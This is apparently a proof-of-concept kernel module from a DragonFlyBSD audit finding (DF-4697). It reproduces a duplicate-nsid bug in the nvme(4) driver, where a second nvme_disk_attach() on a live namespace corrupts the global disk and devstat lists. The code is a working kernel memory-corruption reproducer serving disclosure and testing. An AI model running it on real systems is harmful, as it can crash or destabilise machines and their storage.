⬢ DragonFlyBSD Kernel Audit
DF-4697 / df4697.c
← back to finding ↓ download raw
/*
 * DF-4697 PoC -- nvme(4) duplicate-nsid double nvme_disk_attach()
 *
 * sys/dev/disk/nvme/nvme_admin.c, nvme_admin_state_identify_ns():
 * the ACTIVE NAMESPACE LIST returned by the controller is fully
 * device-controlled.  For every entry it unconditionally runs
 * nvme_disk_attach(nsc).  If the same nsid appears twice, the nsid scan
 * (nvme_admin.c:636-640) finds the FIRST, already-attached nvme_softns_t
 * and the second occurrence re-runs the attach on the live object:
 *
 *   nvme_disk.c:78   devstat_add_entry(&nsc->stats, ...) a 2nd time
 *                    -> global device_statq STAILQ corrupted
 *   nvme_disk.c:82   disk_create(nsc->unit, &nsc->disk, ...) a 2nd time
 *                    -> subr_disk.c:708 bzero()s the LIVE struct disk
 *                       while it is linked in the global disklist,
 *                    -> subr_disk.c:755 LIST_INSERT_HEAD of the same node
 *                       again -> self-loop / lost tail of disklist
 *                    -> duplicate /dev/nvmeN cdevs (kern_conf.c:271
 *                       make_only_dev / make_dev_covering never check
 *                       for an existing name/devid)
 *
 * The exact same sequence happens later at controller detach/shutdown
 * with a NORMAL single nvme_disk_detach() -- walking/destroying the
 * corrupted lists.
 *
 * This module reproduces the second nvme_disk_attach() call frame-for-
 * frame (the unmodified victim code path) on a real, live namespace of
 * the QEMU-attached controller.  The ONLY difference to the real trigger
 * is the injection point: stock QEMU cannot emit a duplicated active-ns
 * list entry (its nsids are unique by construction), so the duplicate
 * decision the admin thread would make is injected here instead.
 * Unloading the module performs the normal single detach.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/lock.h>

#include "nvme.h"

/* globals from sys/dev/disk/nvme/nvme_attach.c:50-51 */
TAILQ_HEAD(nvme_sc_qh, nvme_softc);
extern struct nvme_sc_qh nvme_sc_list;
extern struct lock nvme_master_lock;

static nvme_softc_t *saved_sc;
static nvme_softns_t *saved_nsc;

static int
df4697_load(void)
{
	nvme_softc_t *sc;
	nvme_softns_t *nsc;
	int i;

	lockmgr(&nvme_master_lock, LK_EXCLUSIVE);
	sc = TAILQ_FIRST(&nvme_sc_list);
	lockmgr(&nvme_master_lock, LK_RELEASE);
	if (sc == NULL) {
		kprintf("df4697: no nvme controller attached\n");
		return ENODEV;
	}
	nsc = NULL;
	for (i = 0; i < NVME_MAX_NAMESPACES; ++i) {
		if (sc->nscary[i] != NULL) {
			nsc = sc->nscary[i];
			break;
		}
	}
	if (nsc == NULL) {
		kprintf("df4697: no namespace attached\n");
		return ENODEV;
	}
	kprintf("df4697: target controller=%p nsid=%u unit=%d cdev(before)=%p\n",
	    sc, nsc->nsid, nsc->unit, nsc->cdev);

	/*
	 * == THE BUG ==
	 * Second nvme_disk_attach() on the live namespace -- exactly the
	 * call nvme_admin.c:680 makes for a duplicated active-ns entry.
	 */
	nvme_disk_attach(nsc);

	kprintf("df4697: second nvme_disk_attach() returned, disklist and "
	    "device_statq are corrupted (cdev(after)=%p)\n", nsc->cdev);

	saved_sc = sc;
	saved_nsc = nsc;
	return 0;
}

static int
df4697_modev(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		return df4697_load();
	case MOD_UNLOAD:
		if (saved_nsc) {
			kprintf("df4697: normal single detach (as controller "
			    "teardown does)\n");
			nvme_disk_detach(saved_nsc);
			saved_nsc = NULL;
		}
		kprintf("df4697: unloaded; run 'sysctl -n kern.disks' now\n");
		return 0;
	default:
		return 0;
	}
}

static moduledata_t df4697_mod = { "df4697", df4697_modev, NULL };
DECLARE_MODULE(df4697, df4697_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);